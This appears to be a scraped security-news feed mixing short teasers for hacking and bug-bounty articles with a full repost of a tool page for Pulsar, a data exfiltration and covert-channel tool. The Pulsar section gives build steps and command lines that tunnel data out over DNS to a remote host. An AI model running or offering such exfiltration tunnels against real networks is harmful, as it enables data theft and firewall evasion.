My First CVE-2022–30931
https://medium.com/@niteshbiwal2011/my-first-cve-2022-30931-e70b9cbecbba?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Cross-Site Request Forgery (CSRF) on Open-Source software Employee Leave Management System.Continue reading on Medium » (https://medium.com/@niteshbiwal2011/my-first-cve-2022-30931-e70b9cbecbba?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Web 3.0 Akıllı Sözleşmeler Güvenliğinin en önemli tuzakları
https://hackenturkiye.medium.com/web-3-0-ak%C4%B1ll%C4%B1-s%C3%B6zle%C5%9Fmeler-g%C3%BCvenli%C4%9Finin-en-%C3%B6nemli-tuzaklar%C4%B1-2f8f6051814c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

DeFi devrimi, akıllı sözleşme yeteneklerini güçlendirdi. Aynı zamanda, kapsamlı akıllı sözleşme yetenekleri, merkezi olmayan finansal…Continue reading on Medium » (https://hackenturkiye.medium.com/web-3-0-ak%C4%B1ll%C4%B1-s%C3%B6zle%C5%9Fmeler-g%C3%BCvenli%C4%9Finin-en-%C3%B6nemli-tuzaklar%C4%B1-2f8f6051814c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Thoughts on DPN Services (e.g. Deeper Network)?

I couldn’t find any objective info on Decentralized Personal Networks - any thoughts?

Deeper Network seems to be one of the most hyped players in the field and they are heavily promoting their devices, incl. on their own Subreddit r/deepernetwork

There is a lot of web3 / crypto babble in the marketing materials, so I am looking for independent opinions.

submitted by /u/felixforfun
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Binary Analysis with Strace
https://www.reddit.com/r/redteamsec/comments/va62qg/binary_analysis_with_strace/

submitted by /u/DLLCoolJ (https://www.reddit.com/user/DLLCoolJ)
[link] (https://youtu.be/Zig-inHOhII) [comments] (https://www.reddit.com/r/redteamsec/comments/va62qg/binary_analysis_with_strace/)

___________________________
@hacking_Attack
@Hacking_Video

Keeping notes during an assessment
https://medium.com/@R00tendo/keeping-notes-during-an-assessment-1cdb4d4621a2?source=rss------bug_bounty-5

why would you keep notes?Continue reading on Medium » (https://medium.com/@R00tendo/keeping-notes-during-an-assessment-1cdb4d4621a2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Web App Pentesting Career
https://www.reddit.com/r/Pentesting/comments/va5kvn/web_app_pentesting_career/

I’m new to pentesting so excuse my ignorance, but is it necessary to learn things other than just web app pentesting? I see a lot of people saying the OSCP is what is sought after, but what If I only want to do web app pentesting to start? Will I have much luck in finding a career that is only for a web app pentester? submitted by /u/iShelled (https://www.reddit.com/user/iShelled)
[link] (https://www.reddit.com/r/Pentesting/comments/va5kvn/web_app_pentesting_career/) [comments] (https://www.reddit.com/r/Pentesting/comments/va5kvn/web_app_pentesting_career/)

___________________________
@hacking_Attack
@Hacking_Video

Web 3.0 Akıllı Sözleşmeler Güvenliğinin en önemli tuzakları

DeFi devrimi, akıllı sözleşme yeteneklerini güçlendirdi. Aynı zamanda, kapsamlı akıllı sözleşme yetenekleri, merkezi olmayan finansal…Continue reading on Medium »
Read more...

Keeping notes during an assessment

why would you keep notes?Continue reading on Medium »
Read more...

Hacking on Medium
TryHackMe : Colddbox Write-up

https://cdn-images-1.medium.com/max/2600/1*xje4ivWKsUCLaVfzuXWPRw.png
I start usually by updating the hosts file on my computer, in order to make accessing the machine easier without the need of typing the IP…

Continue reading on Medium »

Hacking on Medium
Inside the Mind of a Hacker (Part 3)

https://cdn-images-1.medium.com/max/900/0*NF0iy9nOc7xKgdYu.jpg
Reflecting on making it through one year as a white-hat hacker

Continue reading on Medium »

Hacking on Medium
Data Exfiltration, Firewall Evasion, and DNS Encapsulation with Iodine

https://cdn-images-1.medium.com/max/1964/0*q39h7etePlDIlrAf
Hello World and welcome to HaXeZ. Today I want to talk about the DNS tunneling software Iodine. Or more specifically I want to talk about…

Continue reading on System Weakness »

KitPloit - PenTest Tools!
Pulsar - Data Exfiltration And Covert Communication Tool

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyfmngbEChZmMWCbf-NtRbKKqoXW1j7jAExWAOfqVerKLNvASYPIyiwvBBlznV6SVmDG4UFMPChRAJZwoOkE0xddNI3SOk5E-08lqwrOWnIGuKMGt6buCkxdEwcsFBxeOBmWZkAbWifg76Ns-IZaefqwsBa6-0V1Cp-ITqpo-lU0RTsjRBLQGKiEK/w640-h362/Data%20Exfiltration.png

Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets.
Setting up Pulsar
Make sure you have at least Go 1.8 in your system to build Pulsar
First, getting the code from repository and compile it with following command:

$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go


or run:

$ make


Connectors



A connector is a simple channel to the external world, with the connector you can read and write data from different sources.

* Console:
* Default in/out connector, read data from stdin and write to stdout

* TCP
*
Read and write data through tcp connections

tcp:127.0.0.1:9000

* UDP
*
Read and write data through udp packet

udp:127.0.0.1:9000

* ICMP
*
Read and write data through icmp packet

icmp:127.0.0.1 (the connection port is obviously useless)

* DNS
*
Read and write data through dns packet

dns:fakedomain.net@127.0.0.1:1994

You can use option --in in order to select input connector and option --out to select output connector:

--in tcp:127.0.0.1:9000
--out dns:fkdns.lol:2.3.4.5:8989


Handlers



A handler allows you to change data in transit, you can combine handlers arbitrarily.

*
Stub:

* Default, do nothing, pass through

*
Base32

*
Base32 encoder/decoder

--handlers base32

*
Base64

*
Base64 encoder/decoder

--handlers base64

*
Cipher

*
CTR cipher, support AES/DES/TDES in CTR mode (Default: AES)

--handlers cipher:<key|[aes|des|tdes#key]

You can use the --decode option to use ALL handlers in decoding mode

--handlers base64,base32,base64,cipher:key --decode


Example

In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.

[nc 127.0.0.1 9000] <--tcp--[pulsar] <--dns--[pulsar] <--tcp--[nc -l 127.0.0.1 -p 9900]


192.168.1.198:

$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:test.org@192.168.1.199:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000


192.168.1.199:

$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:test.org@192.168.1.199:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode


Contribute

All contributions are always welcome
Download Pulsar

Pulsar - Data Exfiltration And Covert Communication Tool
http://www.kitploit.com/2022/06/pulsar-data-exfiltration-and-covert.html